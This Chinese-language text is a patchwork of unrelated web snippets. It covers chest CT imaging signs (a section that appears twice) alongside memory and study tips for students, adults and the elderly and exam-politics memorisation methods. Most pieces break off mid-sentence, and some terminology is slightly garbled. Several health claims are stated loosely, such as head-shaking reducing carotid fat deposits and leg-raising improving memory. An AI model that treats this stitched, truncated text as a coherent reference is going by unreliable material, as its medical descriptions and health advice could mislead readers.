胸部病变基本医学影像征象 1、串珠样间隔征 胸部高分辨扫描图像上，在肺野周边部或外1/3的肺内小叶间隔表现为不规则、结节状增厚。这是肿瘤细胞在毛细血管或淋巴管内不规则膨胀性生长以及继发的血管周围和间质水肿及纤维化。串珠样间隔征的形成，主要是转移瘤细胞或瘤栓经血型或淋巴播散以及逆行性淋巴管转移在肺周边部的毛细血管或淋巴管内，致使转移灶远测血管或淋巴管扩张；转移灶阻塞引起肺间质水肿；病灶在毛细血管和淋巴管周围不规则生长；长期间质水肿继发纤维增生；周边部毛细血管或淋巴管内肿瘤生长并填充其间。该征主要见于肺转移瘤，其次也见于肺结节病和先天性肺小叶周围纤维化。 2、多结节聚合征 胸部高分辨CT扫描时，这种表现有三种表现：花瓣状、桑椹样和葫芦状。花瓣状病灶一般直径在2公分以内，纵隔窗下可见由3~5个1~5mm的小结节聚合而成，每个小结节之间有低密度分隔，形如花瓣；桑葚样病灶大于2公分，由10个左右的小结节聚合而成；葫芦状结构呈多个椭圆形堆彻排列，胸膜侧的结节最大，直径可达3~5公分，其内密度较低，近肺门侧直径较小，直径约1.5公分，形如葫芦状。花瓣状聚合被认为是周围性肺癌的早期表现；桑葚样多结节聚合征可能是小叶间隔纤维增生，肺癌各部生长不一，肿瘤生长遇到阻力；葫芦样结节被认为是肿瘤组织以连续浸润方式进行扩散，由于肿瘤不断增大，从原发肿瘤脱落下来的流组织经组织间隙、淋巴管、血管等侵入并破坏周围正常组织且继续生长（肿瘤成团的充满肺泡腔，并沿肺泡空向周围继续生长，膨胀性扩大）或肿瘤沿肺泡壁伏壁生长，都可以形成此征。
3、反晕征 和晕征的表现相反，在高分辨胸部CT肺窗上观察，病灶中心密度低呈磨玻璃状，周围是新月形或环形高密度，厚度至少2mm。这种表现是由于中心为低密度由肺泡间隔浸润和细胞碎片，周围环形或新月形高密度是肺泡管机化性肺炎或致密、均匀肺泡间细胞浸润所导致的致密气腔实变。起初认为对诊断隐原性肺泡炎有特异性，但随后发现该征象也见于类球孢子菌病的描述中。和晕征相似，当该征象见于多种疾病后，可能失去其特异性。 4、方形征 病变临近胸膜或叶间胸膜时，两侧缘可垂直于胸膜，呈刀切样，致病变呈方形。肺部炎症时，炎性渗出物沿肺泡孔向上下、左右、前后均匀扩散，形成各经线均匀相近的炎性病灶，但是当炎性渗出物扩散受胸膜或小叶间隔阻挡时，病变扩散受阻。方形征是球形肺炎的特征性表现，其CT表现有： （1）病灶多位于肺野背侧，靠近胸膜； （2）病灶多呈方形、楔形、三角形、圆形等表现，病灶临近胸膜侧常表现为典型的方形；
高三如何提高记忆力的十个小窍门 高三学习任务繁重，如果记忆力好一点的话就不用那幺辛苦了!下面小编跟大家分享高三如何提高记忆力的十个小窍门，希望对你有帮助。 ? ?小窍门 1、背诵找窍门、联想法高三学习一些记忆法来帮助你记忆。比如首字母记忆法，把要记忆的一组东西编成一个小故事，或者找出数字间的规律等等。使用记忆法可以帮助你记住一些复杂的东西。2、大脑保持活跃大脑就象肌肉，常锻炼能促进大脑发育。高三学一种新语言、一种乐器，或者玩玩智力游戏都是保持大脑活跃的好办法。前面几条都能做到的话，大脑自然可以保持长久的活力!3、舍得花时间去记不专心去记的东西一定是转眼就忘。如果你真想记住，不要分心，放下手中复杂的工作，花一点时间专心去记，效果会很好。小编推荐：怎幺提高记忆力这些小方法锻炼你的记忆力4、生活有条理用过的东西放回原处，使用备忘录或者计划手册来记住每天的安排，把电话号码和地址存在固定的地方。井井有条的生活可以让你的大脑有更多空余部分来记住更重要的东西，而不是被琐事困扰。说句俗话，就是少占用内存!5、善于观察很多时候高三学生记不住不是因为记性差，是因为看的不仔细。头天见到的新人，第二天再碰见就想不起来了，多半是因为没有专门去记。高三训练观察力可以用一张自己不熟悉的画面，看几秒钟后翻过去，尝试叙述画中的内容。每次做这个练习的时候都找一张自己没见过的画，多加训练就可练就过目难忘。看到的想到的都可以帮助记忆，多看多记效率也会更高一点。6、吃好吃对也许对于吃货来讲，提高记忆力肯定是吃放在第一条。西兰花、菠菜和浆果这些含去氧化剂的食品，以及Omega-3脂肪酸都对大脑有好处。高三每日多餐少食也可以通过降低血糖滴度改善神经系
xx快速记忆的方法 xx快速记忆的方法 1、锁链法 就是物中产生一个又一个的“扣”，并用记忆的锁链把这些“扣”环环相扣在一起。这个方法操作起来也很简单风趣，所需仅为一点夸张的想象，或许有些人平时生活中已经不自觉在使用这种方法了，但若经过一番专门的训练，效果会更好。 例如，桌上有一台手机和几只桔子，若用锁链法则可这么记忆：手机伸出长长的天线，把几只桔子串在一起。以此为起点，我们就开始打开了右脑记忆的大门，那些书本中的概念、公式，也将不会显得那么枯燥乏味。 2、xx法 人们对图像的记忆往往比文字更深刻。这是一种依托于图像视觉、内心感觉的联想式记忆法，又被形象地称为“头脑影院”。 例如，当人们需要记忆“西湖十景”(苏堤春晓、双峰插云、三潭印月、曲苑风荷……)时，不妨假设自己是一位导演，要到杭州拍摄一部短片，这时，就可以用一段设身处地的体验和一种身临其境的感受把十个景点串起来。 可以想象大巴一抵达杭州，竟是苏东坡亲自赶来接自己，先到苏堤漫步，漫步时抬首望见两座山峰直入云端，镜头一 转来到山上，向下俯瞰是三潭印月，山上还有户人家，曲曲折折的回廊和满池荷花相映成趣，人家深处有鱼跃莺啼……如此一来，“西湖十景”就不难记忆了。 3、标签法 人的左脑善于处理抽象的逻辑信息，而右脑善于处理详尽的图像、情感、体验类信息，且运转速度极快。
“标签法”的原理就是通过给抽象资料贴标签，把它们全部转换成右脑信息，就像计算机要把十进制换算成二进制进行运作一样。 不少数字和字母原本就对应一个图像，如：数字“11”对应筷子，大写字母“D”对应竖琴或者月亮等等。通过一定的引申，不少孩子学会了用“标签法”记忆数学、化学、物理公式等。 4、缩编法 学习中需要记忆的知识实在是太多。 比如鲁迅先生的《风筝》一文的中心思想是： 一、表达兄弟间浓浓的情意; 二、揭露了当时社会的黑暗。 这么长一段话，可以在几秒内记忆吗? 这样一来，长长的一段文字在几秒内就被我们拿下啦! ”出用缩编法来提高记忆的真谛：让题目来帮你记住答案，练就抓关键的技巧，用创编的口诀帮助融会贯通，再长的问题 也能对答如流。 5、位置法 入门玄关处有个“鱼缸”，由此联想到早晨去“游泳”;进客厅，落地“书橱”与“去书城买书”关联;不远处摆放着的“沙发”，又让我想到下午去“购物”;晚上“过生日”，则和家人在“电视机”前共享喜悦——这是在老师的启发下，一位学生通过位置法将一天的行程与家具锁定记忆的结果，以进门后看到的事物的顺序串起一天所做的事，这位学生笑着表示，“这样的方法既生动也便当记忆”。 学生们对于这样的位置法记忆表现出深刻的兴趣，尤其是一些年龄较小的学生，我们也发现，“锁定目标”的记忆方法展现出了学生们潜在的有序且大容量的记忆能力。 6、信箱法
高中生睡前做好这三件事，10种增强记忆的方法助你 成为记忆天才 教书育人楷模，更好地指导自己的学习，让自己不断成长。让我们一起到学习啦学习吧!以下是学习啦小编为大家编辑的高考备考学习方法文章，欢迎大家阅 读! 高中生睡前做好这三件事，成绩一定会提高! 果能够合理利用睡前1个小时的时间，那么就可以让我们第二天精力更加充沛，睡前的时间通常被大家所忽略，很多人觉得睡觉了就全身心放松了，其实不然，睡前的最后一件事情通常能够影响到我们睡眠时长和质量，那么高中生睡前都应该做什么? 1、冥想回忆 许多成功人士会在睡前冥想十分钟，专家也曾表示冥想是放松身心的一大妙方。当然，我们所谓的冥想回忆并不是指让大家回忆一天发生的事，而是对我们一天所掌握的知识做个系统的回顾。因为高中生自我复习得时间比较少，除了上课时间我们只能利用每分每秒完成作业，预习新知识，交流那么，睡前这段时间就是给我们一个自我检测的最佳时间段。具体可以回忆某些英文
单词、语文知识点、政治知识体系等等，回忆完之后，找到自己的知识点缺失，就可以安心入眠了。但有一点，需要提醒大家，冥想回忆时间切忌过长，10-20分钟最佳。 2、听英语听力 每个人都有自己喜欢的音乐或者美剧电影、电视剧等等如果你想锻炼英语听力，而又苦于没有自我时间，那么请抓住睡前的时间。其实在对很多人来说，睡觉前听那些让人头痛的英语是一件痛苦的事，但为自己设定一个轻松地环境，就不会那么煎熬了!比如先了解要听 的英文故事了解内容，调动自己已有的背景知识，这样有助于后续故事的理解。了解了故事大意后，就可以听故事的音频，这其中可以设计一些互动。 3、为第二天学习列计划 高中生因为处于青春期阶段，很容易陷入一个怪圈，拼命地想着白天发生的负面事情。有心理专家提醒说，不管白天过得多么糟糕，高情商的人一般都能成功避免这种自言自语带来的负面情绪，因为他们知道这只会带来更多的压力。如果你实在避之不及，就转移注意力吧!在睡前列下明天的学习任务清单，写下还有哪些计划尚
胸部医学影像征象集萃 [图片] 1、串珠样间隔征 胸部高分辨扫描图像上，在肺野周边部或外1/3的肺内小叶间隔表现为不规则、结节状增厚。这是肿瘤细胞在毛细血管或淋巴管内不规则膨胀性生长以及继发的血管周围和间质水肿及纤维化。串珠样间隔征的形成，主要是转移瘤细胞或瘤栓经血型或淋巴播散以及逆行性淋巴管转移在肺周边部的毛细血管或淋巴管内，致使转移灶远测血管或淋巴管扩张；转移灶阻塞引起肺间质水肿；病灶在毛细血管和淋巴管周围不规则生长；长期间质水肿继发纤维增生；周边部毛细血管或淋巴管内肿瘤生长并填充其间。该征主要见于肺转移瘤，其次也见于肺结节病和先天性肺小叶周围纤维化。 2、多结节聚合征 胸部高分辨CT扫描时，这种表现有三种表现：花瓣状、桑椹样和葫芦状。花瓣状病灶一般直径在2公分以内，纵隔窗下可见由3~5个1~5mm的小结节聚合而成，每个小结节之间有低密度分隔，形如花瓣；桑葚样病灶大于2公分，由10个左右的小结节聚合而成；葫芦状结构呈多个椭圆形堆彻排列，胸膜侧的结节最大，直径可达3~5公分，其内密度较低，近肺门侧直径较小，直径约1.5公分，形如葫芦状。花瓣状聚合被认为是周围性肺癌的早期表现；桑葚样多结节聚合征可能是小叶间隔纤维增生，肺癌各部生长不一，肿瘤生长遇到阻力；葫芦样结节被认为是肿瘤组织以连续浸润方式进行扩散，由于肿瘤不断增大，从原发肿瘤脱落下来的流组织经组织间隙、淋巴管、血管等侵入并破坏周围正常组织且继续生长（肿瘤成团的充满肺泡腔，并沿肺泡
空向周围继续生长，膨胀性扩大）或肿瘤沿肺泡壁伏壁生长，都可以形成此征。 3、反晕征 和晕征的表现相反，在高分辨胸部CT肺窗上观察，病灶中心密度低呈磨玻璃状，周围是新月形或环形高密度，厚度至少2mm。这种表现是由于中心为低密度由肺泡间隔浸润和细胞碎片，周围环形或新月形高密度是肺泡管机化性肺炎或致密、均匀肺泡间细胞浸润所导致的致密气腔实变。起初认为对诊断隐原性肺泡炎有特异性，但随后发现该征象也见于类球孢子菌病的描述中。和晕征相似，当该征象见于多种疾病后，可能失去其特异性。
简单有效的背诵方法 简单有效的背诵方法?抄诵法 俗话说：“好记性不如烂笔头。”读诗词或短文的时候先看一句抄一句，然后再看几句抄几句，最后看一段抄一段，直到看一篇抄一篇，也就是先读再抄，抄完再读。 ?时空法 找到需要背诵的内容里面表示时间和方位顺序的词语，并以此为节点，将所有内容逐渐串起来。 ?人物法 记住文章中依次(或者分类)出现的几个人物，这样忆人思情、忆人思言，就有助于理解与背诵。 ?情景法 创设具体精神，根据情景熟读容易理解和记忆。尤其是优美的诗歌和散文，运用此方法效果更明显。 ?情节法。 掌握故事的起因、经过、发展、高潮、结果等具体情节，据情而背就容易多了。 ?延伸法 背短文或者诗歌，可以从开头逐渐延伸背诵。背会第一句，然后背诵第二句的时候带上第一句，背会一二句，背第三句的时候带上一二句。如此延伸，直到全篇。
?对比法。 把课文中具有对比的部分找出来，记住这对比的性质、特点、作用，就容易背诵了。 ?问题法 提出几个具有连贯性、系统性的问题，根据问题答案的顺序，背诵内容。 ?提纲法 列出一个简单的提纲，然后根据这个提纲练习背诵。 ?列表法 记忆时先将需要背诵的内容进行列表归纳，使复杂的内容简单化、特征化、条理化，一目了然，便于加深印象。 ?间隔法 记忆课文的词语不能怕重复，第二第三天还是要复习第一天的词，温故知新，常读常新。 各科学习的有效方法1、语文： 不能忽视，需要学习的东西有很多; 加强阅读量，有利于阅读题的理解和作文素材的积累; 2、数学： 1) 重视数学，是物理化学等学科运算题的基础，也是各学科中难度较大、得分不易的一门学科; 2) 进行思想上的提升，多悟，多理解，不能死记硬背，公式自己要推理，避免记不住公式时毫无头绪; 3) 抓住课堂，可以记笔记，但不能影响课堂听讲; 4) 课后独立完成作业，认真改错;
成年人提高记忆力的十大方法 另外每天要养成吃早餐的好习惯，这样可以保持大脑活力。 二、经常聊天据研究表明，坚持每天与他人聊天10分钟以上，能起到锻炼大脑的功效，对提高人的智商，增强记忆力非常有利。 经常聊天还可以锻炼我们的口才，让心情变得开朗愉悦，何乐而不为?三、重复记忆很多成功人士说过，重复是记忆之母。 重复次数与记忆长久是成正比的... 重复的次数越多，记忆的时间越长。 当大脑记忆时长超过生命值，即实现终生不忘的效果了。 四、理解记忆如果说你想要快速去记住一些东西，在你理解的情况下你会更容易记得住，记得久。 所以在记忆的时候，我们先将所需要记的东西进行转换再接收，可以在脑海中想象成一个画面。 五、兴趣记忆爱因斯坦说过，兴趣是最好的老师。 在学习当中，我们对于感兴趣的东西往往会掌握的快记忆的牢。 显而易见，大脑在记忆时偏爱感兴趣的东西。 在每天的空闲时间，我们可以闭上眼睛仔细思考我们到底喜欢什么东西，并将答案写在纸上，尽可能的多，这样可以引导大脑思考，挖掘信息，对我们提升记忆有帮助。 六、记录回想如果说你的记忆力不太好，你可以动手做一个表格，将一天的时间划分成小段。
比如一天12个小时，将其分为12段。 每个段一小时，然后在每一个小时里面，我们做了什么事都可以记录下来，然后再回想一下我们一天是怎么过的。 这不仅可以让我们锻炼大脑记忆，更能帮助我们合理分配时间，记录生活。 七、充足睡眠只有睡的好，人才会有精神，在大脑工作状态良好的情况下，我们的记忆力才会更好。 然而长期睡眠不好的人，会造成记忆力衰退。 因而保证质量，充足的睡眠是对于我们增强记忆很重要。 八、视听结合可以同时利用语言功能和视、听觉器官的功能，来强化记忆，提高记忆效率。 比单一默读效果好得多。 九、多与人交往研究发现，社交能够让思维更敏捷，闲聊10分钟后，人脑的反应速度迅速提升。 十、跑步研究发现，跑步能促进脑细胞的再生，延缓记忆力的下降速度。 运动专家建议跑步采取“间隔训练方式，即先快跑30秒，再慢跑90秒，并重复6个周期。 每周坚持做2次。 在学习中，一定要注意学思结合，手、口、眼、耳、脑并用，养成“不动笔墨不读书的好习惯。
初中学科之政治知识点记忆口诀大全_考研政治知识点快速记忆技巧方法 考研备考的科目比较多，有一定难度。在众多科目的备考中，政治科目要记忆的知识点是比较多的，下面是由小编给大家带来关于考研政治知识点快速记忆技巧方法，希望对大家有帮助! 考研政治知识点快速记忆技巧 通过做题，带动复习记忆 仅仅只是来回反复看书，可能只是眼睛对这些知识点比较熟悉。实际上，我们的大脑对这些知识点还是不够熟悉。政治科目虽然是文科学科，但是也是需要大量做题，才能在考试中做到熟练运用。政治科目的考试，主要考察两大题型：选择题和问答题。建议前期的复习，可以大量练习选择题。在做题中，不断加强对知识点的记忆和理解，通过做题来带动知识点的记忆。 记住重要的时间点、人物、事件、观点 政治科目的学习，其实不是每一句话都要记忆。我们在复习的过程中，记住重要的时间点、人物、事件、观点，其余的一些要素，可以不必要百分百是原话。一个事件的关键要素抓住了，这个事件的来龙去脉就在自己的大脑里了，也就可以串联起来了。 容易混淆的知识点，需要做笔记 我们在学习和做题的过程中，总会遇到一些比较混淆的知识点。对于这些知识点，建议最好是把他们整理在笔记本上，作为自己的难点来学习。虽然是文科，都是文字，经过自己的手写整理一遍，可以加强记忆。此外，做了笔记，这个笔记本就需要我们经常拿出来看，反复看，也就记住了，混淆知识点自然也就攻克了。 考研政治知识点快速记忆方法
1、关键词法 对基本知识点的掌握上要注意发现、归纳和概括出基本概念和原理中的关键词，以利于记忆和理解。比如，文化概念，相对政治经济而言的，主体是人类，精神活动及其产品。包括社会意识形态的部分和非意识形态的部分。再如，传统文化的继承，不是原封不动的承袭传统文化，而是有所淘汰、有所发扬，目的是促进传统文化的发展。关键词的概括和总结可以自己进行，也可以上课听老师的总结。 2、事例法 对于比较抽象的理论知识(尤其是比较难懂的) ，一定找到一个比较典型的事例辅助理解，作到抽象理论具体化。比如：文化影响人的交往行为和交往方式。结合书上元妃省亲的事例记忆。说明价值观念影响人们的交往方式和行为。事例的寻找注意上课从老师那里找，也可以自己总结，事例应该是材料、图表、漫画、数字等直观形象的东西。 3、对比联系法 对于相近的、相反的概念和原理，把他们放到一快加以对比和联系，比单纯对一个要好理解和记忆。比如，潜移默化是指因受到外来影响而在不知不觉中发生变化。深远持久，深指文化对我们的影响程度而言;远主要是就文化影响的空间范围而言;持久主要指文化对人们的影响在时间上有延续性的特点。这样记忆的好处是印象深、持续时间长、效果好，有利于达到学习知识、加深理解的目的。因为对比记忆法所进行归类和比较的过程，就是对事物、对知识的理解、判断和分析的过程。另外要注意老师上课在这方面的总结和参考书上面的总结。 4、结构体系记忆法 此种记忆方法多用于复习。学完一节、一课、一本书总要进行复习巩固，这就需要学生必须了解所复习内容的结构体系。首先找出贯穿于知识的主干部分，再根据知识间内在的逻辑关系把分支内容串联在主干之上，抓住主干顺序记忆分支内容，再把每一分支中更细小的内容填充进去，个个知识点犹如冰糖葫芦竹签串，可以有效地避免遗漏或张冠李戴的毛病。以节为例，文化创新的途径，讲两个大问题文化创新的途径和坚持正确方向，克服错误倾向。一个根本途径，两个基本途径;坚持正确方向的关键，四个错误倾向。两个基本途径都有具体的展开，有具体的要求。
老年人记忆力不好，中医认为有6个方法可以提高记忆力： 1.动手指 手指是人的第二大脑，手指与大脑相连的神经最多，通过运动手指，可以有效刺激大脑，延缓脑细胞死亡时间。 动作很简单，伸伸手指，蜷蜷手指，二者交替进行，或者左右手交替按摩指尖，也可经常用手握握健身球，让两个健身球在手中旋转。或者把大米与黑豆掺在一起，再把它们分别拣出来，用这些动作来锻炼双手，达到强化或保持大脑记忆力的目的。 2.慢跑 大脑由两个半球组成，左侧大脑支配右侧肢体，右侧大脑支配左侧肢体，所以说下肢的活动可刺激对侧大脑皮层的活动，起到健脑作用。 国外研究也认为，大脑在趋于萎缩的年龄中，慢跑可以持续刺激大脑创造新的神经细胞生成以及脑 内血管的健康运转。老年人慢跑量力而行，可以一周慢跑、快走5次，一次半个小时。 3.摇头晃脑 颈动脉是向脑部供血的管道，摇头晃脑可使这些组织得到活动，不但可以增加大脑的血氧供应，还可
以减少脂肪在颈动脉血管沉积的可能，也有利于高血压、颈椎病的预防。 具体方法是：取直立体位，两手下垂，头缓缓抬起，仰视角尽量达最大限度，保持这种姿势15秒钟 左右。然后转颈、前俯、后仰，或用空拳轻轻叩击头部。看电视间隙和家人聊天时都可以进行。 4.架高双腿 部分老年性记忆下降是由血氧不足所致。血氧低导致的最常见的症状就是头晕易困，做事提不起精神，记忆力下降。人体在站立时，起码有2000毫升的血 液流向下半身，其中腿部的血流增加约600毫升。经常垫高双腿可以加速这些血液向心脏回流，通过肺循环，在肺泡内实现氧交换，流向全身的组织和器官，大大提高组织内的氧含量。 架高双腿很简单，可以半卧或平卧在床上，将双腿抬高，放在高过心脏位置的床头或椅背上，每日3次，每次10分钟。平时也可以把两腿跷在椅子或者 桌子上几分钟。 5.十指梳头 良好的头部血液循环功能有助于提高记忆力，延缓大脑衰老。随身携带一把梳子，或者以指梳头，可改善头皮的血流。